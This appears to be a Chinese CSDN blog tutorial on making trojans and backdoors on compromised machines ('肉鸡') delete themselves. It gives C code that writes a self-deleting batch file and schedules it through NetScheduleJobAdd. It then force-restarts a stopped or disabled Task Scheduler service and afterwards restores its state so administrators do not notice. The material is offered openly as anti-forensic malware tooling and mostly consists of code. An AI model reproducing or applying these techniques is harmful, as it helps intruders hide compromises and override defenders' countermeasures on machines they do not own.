可执行文件自删除大法步步高

可执行文件自删除大法步步高

宇宙飞行器都有一个使用年限,一旦超期,就要让它跌入大气层,自我毁灭。我们留在肉鸡上的木马,后门什么的也是一样,如果不用了就要及时删除,要是被人发现就不好了。要我们登陆上肉鸡,然后一一删除太麻烦了,最好是传一个命令过去,木马就能自动删除该多好。
我看过不少探索可执行文件自删除方法的文章,有的用NTFS流,有的从内存中想办法,但那些办法要么不易办到,要么原理比较复杂。那么有没有一种原理简单而且很容易办到的办法呢?有是有,不过这种方法与上面的方法都不同,这种方法不是正面解决这个问题,不免有些曲线救国的味道,故而我称之为“另类”。不过这种另类的方法办起事来可一点也不含糊,往往能一击奏效。因此,小弟斗胆也来卖一次,各位高手看了可别笑话哦。

原理篇
这个办法最大的好处就是原理比较简单,也很容易想到。在Win32下,系统不容许可执行文件在运行时删除自己,那咱就不费脑筋去搞明白为什么不行了。既然在运行时不能删除自己,那么让该文件未运行时被删除不就行了?那么这种删除就不是严格的自删除了,要借助他人之力来完成。设想一下,本程序在完成自己的任务,要自删除时,调用另一个程序来删除自己,就算可以办到,那么被调用的那个程序怎么办?再调用一个程序?这样就陷入了一个无穷无尽的怪圈中,看来此路不通。不过不要紧,在Win32下,还是有一种文件可以轻松自删除的,这种文件就是批处理文件!知道这一点就好办了,假设现在有一个可执行文件叫 Suicide.exe,在它要被就地销毁时,留一个任务给系统,让系统在该程序退出后调用一个批处理文件,该批处理文件既删除Suicide.exe,又删除它自己,那么不就轻轻松松做到了删除这个可执行文件的目的?看,原理就这么简单!

小知识:在Windows 9x/ME下,可以利用Wininit.ini的一些特性在文件里面的[Rename]上做文章,达到自删除的目的。在Wininit.ini里面写入要 “Nul=要删除的文件”,那么下次系统重新启动的时候,该文件就会被自动删除了。以下是一个例子:
[Rename]
NUL=c:\SelfDelete.exe
另外批处理文件删除自身我们可以做一个小试验:创建一个“a.bat”,给它写入以下内容:
del %0.bat
现在运行它,屏幕一闪而过,最后留下一串字符:“The batch file cannot be found”。这时候它已经从你的硬盘中消失了!

初级篇
首先要搞清楚要实现这个“自删除”的方案需要这么几个步骤:
 Suicide.exe生成一个批处理文件,该批处理文件不是事先写好的,而是在需要自删除的时候才生成,此批处理文件用来完成所有的删除工作。
 Suicide.exe为系统添加一个计划任务,该任务的执行时间是Suicide.exe退出后很快就执行。从后面的代码中可以看到,我是让这个任务最多延迟一分钟执行。该任务的命令行就是生成的批处理文件,假设为Suicide.bat。
 Suicide.exe正常退出。
这样Suicide.exe退出后一段时间,系统自动执行Suicide.bat,然后这两个文件同时消失。
下面让我们还看看具体的C语言实现吧。
1. 生成批处理文件
char chrExeFilePath[MAX_PATH + 1];//可执行文件路径
char chrBatFilePath[MAX_PATH + 1];//批处理文件路径
FILE *pf;
//生成批处理文件
pf = fopen(chrBatFilePath,"w");
fprintf(pf,"del %s\n",chrExeFilePath);//删除可执行文件
fprintf(pf,"del %s\n",chrBatFilePath);//删除批处理文件自身
fclose(pf);
//关闭该文件
其中ChrExeFilePath可以用下面方法得到:
GetModuleFileName(NULL,chrExeFilePath,MAX_PATH);//获得应用程序所在路径
GetModuleFileName()是系统API,用来得到可执行文件自身的路径,然后就可以得到chrBatFilePath:
strcpy(chrBatFilePath,chrExeFilePath);
chrBatFilePath[strlen(chrBatFilePath) - 4] = '\0';
strcat(chrBatFilePath,".bat");//获得批处理文件所在路径,该批处理文件名与本程序一样
假如ChrExeFilePath是E:\abc\Suicide.exe,那么得到的ChrBatFilePath是E:\abc\Suicide.bat。
2. 添加计划任务
在添加计划之前,要得到系统当前的时间,用的是另一个系统API函数GetLocalTime()。该函数以一个SYSTEMTIME变量为参数,将当前时间返回到该变量中。
SYSTEMTIME st;//系统时间
int nHour,nMinute,nSecond,nDelay;//nDelay是延迟时间
GetLocalTime(&st);//得到本机的时间
nHour = st.wHour;
nMinute = st.wMinute;
nSecond = st.wSecond;
nDelay = 60;//延迟最多60秒

小知识:
GetLocalTime
Declare Sub GetLocalTime Lib "kernel32" Alias "GetLocalTime" (lpSystemTime As SYSTEMTIME)
说明:在lpSystemTime结构中装载本地日期和时间
参数 类型及说明
lpSystemTime SYSTEMTIME,用于装载本地时间的结构

得到系统时间以后,就可以添加系统计划任务了。大家在入侵肉鸡的时候,有时候也要用到命令AT,用来在肉鸡上指定时间执行指定的任务,我们这里也是用同样的方法。在Windows下,添加计划任务的API函数是NetScheduleJobAdd()。这个函数在MSDN中的定义如下:
NET_API_STATUS NetScheduleJobAdd(
LPCWSTR Servername,
LPBYTE Buffer,
LPDWORD JobId
);
第一个参数是计算机名,第二个参数是一个指向AT_INFO结构的指针,最后一个参数是用来返回添加的任务的ID的。由于我们是在自己的机子上执行任务,那么我们就给第一个参数赋值NULL;最后一个参数也好办,只需要传递一个指针就行了;第二个参数才是关键。AT_INFO结构是这样的:
typedef struct _AT_INFO {
DWORD_PTR JobTime;
DWORD DaysOfMonth;
UCHAR DaysOfWeek;
UCHAR Flags;
LPWSTR Command;
} AT_INFO, *PAT_INFO, *LPAT_INFO;
第一个参数JobTime是任务执行的时间,注意它接受的时间必须是从午夜0点开始到现在所经过的毫秒数,因此前面得到的时,分,秒要转换一下。由于使希望当天就执行,所以第二,三个参数都要赋值0。第四个参数是一个标志,这里用JOB_NONINTERACTIVE表示非交互。最后一个参数是最重要的,就是执行的命令行。
这里注意到Command参数的类型是LPWSTR,而不是我们常见的LPCSTR。这是一个Unicode型的,因此一定要记得转换。具体的C程序如下:
wchar_t cmd[1024];//Unicode字符串
AT_INFO at;
int rc,id;
mbstowcs(cmd,chrBatFilePath,1024);//命令行,用mbstowcs()函数将单字符串转换为宽字符串
memset(&at,'\0',sizeof(at));//初始化

at.JobTime = (nHour * 3600 + nMinute * 60 + nSecond + nDelay) * 1000;
at.DaysOfMonth = 0;
at.DaysOfWeek = 0;
at.Flags = JOB_NONINTERACTIVE;
at.Command = cmd;
rc = NetScheduleJobAdd(NULL,(BYTE *)&at,&id);
if( rc != NERR_Success)
{
printf("添加任务失败!\n");
}
好了,就这么些C代码,我们就可以做到让可执行程序自删除了。

中级篇
前面的添加计划任务部分代码是基于NetScheduleJobAdd()这个API函数,而这个函数依靠Task Scheduler这个系统服务。那么防范前面初级篇代码的最简单方法就是停止掉这个服务。在命令行中输入命令:net stop schedule。过了一会儿服务就停止了,这时再运行前面的代码试试,怎么样?不行了吧?
那么我们该怎么办呢?有道是道高一尺,魔高一丈,既然这个服务能被停止掉,那么我们就有办法将它恢复。这里就要涉及一些操作系统服务方面的API函数了。
首先是OpenSCManager(),这个函数用来打开服务控制管理器。如果要操纵服务的话,第一个要调用的就是这个函数,它返回一个SC_HANDLE类型的句柄。得到这个句柄以后,我们才能用这个句柄去控制系统服务。
SC_HANDLE hSCManager;
hSCManager = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
if(hSCManager == NULL)
{
printf("打开Service Control Manager失败!\n");
return;
}
该函数的第三个参数表示管理权限,SC_MANAGER_ALL_ACCESS表示所有权限。
得到句柄hSCManager以后,我们就可以调用OpenService()这个API函数来打开服务了,参考下面的代码:
SC_HANDLE hService;
hService = OpenService(hSCManager,"schedule",SERVICE_ALL_ACCESS);//这是计划任务的服务
if(hService == NULL)
{
printf("打开Service失败!\n");
CloseServiceHandle(hSCManager);
return;
}

小提示:OpenService()的第一个参数就是服务控制管理器的句柄,也就是前面用OpenSCManager()返回的。第二个参数是服务名称,计划任务的服务名为Schedule。第三个参数表示操作权限,和前面一个函数差不多。OpenService()函数也返回一个句柄,但这个句柄是服务句柄而不是服务控制器句柄,不要弄混。

打开服务以后,我们就可以操纵这个服务了,比如停止服务,启动服务等。我们这里首先要查询系统服务,看看Schedule这个服务有没有运行,如果在运行就不用这么费周折了,直接用初级篇的代码就是。如果没有运行,那么又可能是被Stop了或被Pause了,这两种情况我们都要考虑。
一起来看看查询服务运行状态的代码:
SERVICE_STATUS ss;
if(!QueryServiceStatus(hService,&ss))//查询服务状态
{
printf("查询Service服务状态失败!\n");
CloseServiceHandle(hSCManager);
CloseServiceHandle(hService);
return;
}
先要定义一个Service_status结构的变量SS,这个结构用来返回服务的状态,注意到这个结构里有一个成员:DWORD dwCurrentState,表示当前状态,这正是我们需要的。其中的服务状态是用常数来表示,比如系统里定义:
#define SERVICE_STOPPED 0x00000001
#define SERVICE_RUNNING 0x00000004
#define SERVICE_PAUSED 0x00000007
这里我们要用的就是这三个常量。查询服务状态用QueryServiceStatus()这个API函数,第一个参数是服务句柄。
得到服务运行状态以后,如果不是SERVICE_RUNNING,那么继续。
下面要分两种情况:
1. 运行状态是SERVICE_STOPPED,那么我们这样来让它恢复运行:
if(!StartService(hService,0,NULL))
{
printf("试图启动该Service服务失败!\n");
CloseServiceHandle(hSCManager);
CloseServiceHandle(hService);
return -1;
}
Sleep(1000);//注意这里要休息一段时间的原因是开始服务是需要时间的,具体休息多长时间要根据机子的速度而定

Socket:这里一定要注意启动服务后有一个Sleep(1000)语句。如果不加上它,测试的时候是不能成功的,错误代码为997,后来才明白服务启动需要一段时间,如果么不加这一句,那么会出现服务还没有启动完成的提示,用StartService()函数来启动该服务,它的第一个参数也是服务句柄。后面两个参数表示要传递给服务的参数,不管它。后面的NetScheduleJobAdd()就执行了的情况,那自然就出错了。至于要 Sleep()多久不好说,如果你也出现了上面的错误,那么让它Sleep()久一点试试。

2. 运行状态是Service_Paused,那么我们应该这么做:
if(!ControlService(hService,SERVICE_CONTROL_CONTINUE,&ss))
{
printf("试图恢复该Service服务失败!\n");
CloseServiceHandle(hSCManager);
CloseServiceHandle(hService);
return -1;
}
Sleep(1000);
从暂停状态恢复运行要用ControlService()这个API函数,第二个参数表示继续运行,第三个参数是一个Service_status结构的指针。同样,后面也要Sleep()休息一下。
主要部分算是差不多了,但是这里还有一个安全隐患:主机的Schedule服务本来是停止或暂停的,但是我们的代码让该服务状态变成了运行,那么只要肉鸡管理员细心一点,就会发现有问题,这不是不打自招么?凡事要么不做,要么就要做彻底一点嘛。因此,要在生成批处理文件时候要加进这么几句话:
if(nServiceStatus == SERVICE_STOPPED)//如果该服务原来是停止的,那么就恢复停止状态
fprintf(pf,"net stop schedule\n");
else if(nServiceStatus == SERVICE_PAUSED)//如果该服务原来是暂停的,那么就恢复暂停状态
fprintf(pf,"net pause schedule\n");
其中NServiceStatus是服务的运行状态,这里用的是NET命令来停止和暂停服务。好了,现在运行一下,看看是不是又能自删除了?查看一下服务的状态,看看是不是一点没变?嘿嘿,这才叫神不知,鬼不觉嘛。

高级篇
中级篇中的方法也不是很完美,防范方法也很简单:选择控制面板->管理工具->服务,找到Task Scheduler服务,在属性对话框里看到启动类型有三种:自动,手动和已禁用。缺省情况下是选择自动的,但是如果选择已禁用,那么上面的办法就不管用了。你可以试试在CMD窗口中输入“net start schedule”,这时启动服务会失败。同样,上面的代码里启动服务和恢复服务的部分是失效的。
不过不要紧,我还是那句话,道高一尺,魔高一丈。虽然Schedule服务被禁用,但并不保险,我还是有办法把它恢复,恢复的方法和前面有点类似。首先定义一下:
LPQUERY_SERVICE_CONFIG lpqscBuf;//服务参数结构指针
Query_service_config是一个用来存放服务参数的结构,我们不需要了解这个结构的详细情况,只需要知道在这个结构中有一个对我们很有用的成员:Dword dwStartType;这个变量用来存放服务的启动方式。在Windows中定义的启动方式有好几种,对应前面提到的自动,手动和已禁用分别是:
#define SERVICE_AUTO_START 0x00000002
#define SERVICE_DEMAND_START 0x00000003
#define SERVICE_DISABLED 0x00000004
然后我们就要查询服务参数了。
DWORD dwBytesNeeded;
lpqscBuf = (LPQUERY_SERVICE_CONFIG) LocalAlloc(LPTR, 4096); //分配空间
if(!QueryServiceConfig(hService,lpqscBuf,4096,&dwBytesNeeded))//查询服务参数
{
printf("查询Service服务参数失败!");
CloseServiceHandle(hSCManager);
CloseServiceHandle(hService);
return;
}
在上面的代码中,先给LpqscBuf分配空间,然后调用QueryServiceConfig()来查询系统参数。 QueryServiceConfig()是一个系统API函数,其中第一个参数是服务句柄,第三个参数是用来接收服务参数的缓冲区的大小,最后一个参数返回实际需要的字节数。
查询函数返回以后,我们就能得到LpqscBuf->dwStartType了,赶紧判断一下是不是Service_disabled,不是就皆大欢喜。如果不幸言中,就只好继续咯。
我们来点狠的,干脆把服务参数中的启动参数改掉,改成自动不就行了?看看下面的代码:
if(!ChangeServiceConfig(hService,SERVICE_NO_CHANGE,SERVICE_AUTO_START,SERVICE_NO_CHANGE,NULL,NULL,NULL,NULL,NULL,NULL,NULL))// 将该服务改为自动启动
{
printf("改变Service服务参数失败!");
CloseServiceHandle(hSCManager);
CloseServiceHandle(hService);
return;
}
改变服务参数的API函数是ChangeServiceConfig(),该函数有一大堆参数,这里就不一一介绍了,反正是具体的服务参数。我们只需要改变我们想要改变的,保持不变的就传递一个Service_no_change或NULL值就可以了。如果成功,我们就可以从Task Scheduler服务属性里看到启动类型已经变成了自动。
现在服务被禁用也不是问题了,但是同样有一个隐患,我们在自删除以后怎样让服务的启动类型又回到被禁用状态呢?NET命令是不行了,借用第三方程序?那岂不是要带上一个大包袱?也太不符合小巧轻便的原则。俗话说求人不如求己,我们还是让自己的Suicide.exe来完成恢复工作吧。
做法是这样:在生成的批处理文件里再回过头来调用Suicide.exe,让它来将Schedule服务设置成已禁用状态,然后Suicide.exe退出,删除Suicide.exe和Suicide.bat。本来这么做有一些危险,但是好在Suicide.exe处理恢复工作很快,而且在批处理文件里特意先调用它,让它赶得上在执行del Suicide.exe的时候已经完成工作并退出。
具体调用的时候,要传递一个参数,让Suicide.exe知道要让它做什么。我设的参数是-disable。还是来看看代码吧:
void main(int argc, char *argv[])
{
//前面省掉n行代码
if((argc == 2) && (!strcmp(argv[1],"-disable")))//判断命令行
{
SC_HANDLE hSCManager,hService;
hSCManager = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
if(hSCManager == NULL)
{
printf("打开Service Control Manager失败!\n");
return;
}
hService = OpenService(hSCManager,"schedule",SERVICE_ALL_ACCESS);//打开服务
if(hService == NULL)
{
printf("打开Service失败!\n");
CloseServiceHandle(hSCManager);
return;
}
if(!ChangeServiceConfig(hService,SERVICE_NO_CHANGE,SERVICE_DISABLED,SERVICE_NO_CHANGE,NULL,NULL,NULL,NULL,NULL,NULL,NULL))// 将该服务改为禁止
{
printf("改变Service服务参数失败!");
CloseServiceHandle(hSCManager);
CloseServiceHandle(hService);
return;
}
CloseServiceHandle(hSCManager);
CloseServiceHandle(hService);
return;
}
/后面省掉N行代码
}
上面的几个函数前面都出现过了,没问题了吧?在我附带的C语言代码中将处理服务部分主要放在一个叫CheckTaskService()的函数里了。最后还有一个问题要注意:Suicide.exe文件所在的路径中不能含有中文,否则会无法调用批处理文件。
轻轻地我走了,正如我轻轻地来,挥一挥衣袖,不带走一片云彩……谢谢观赏!
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值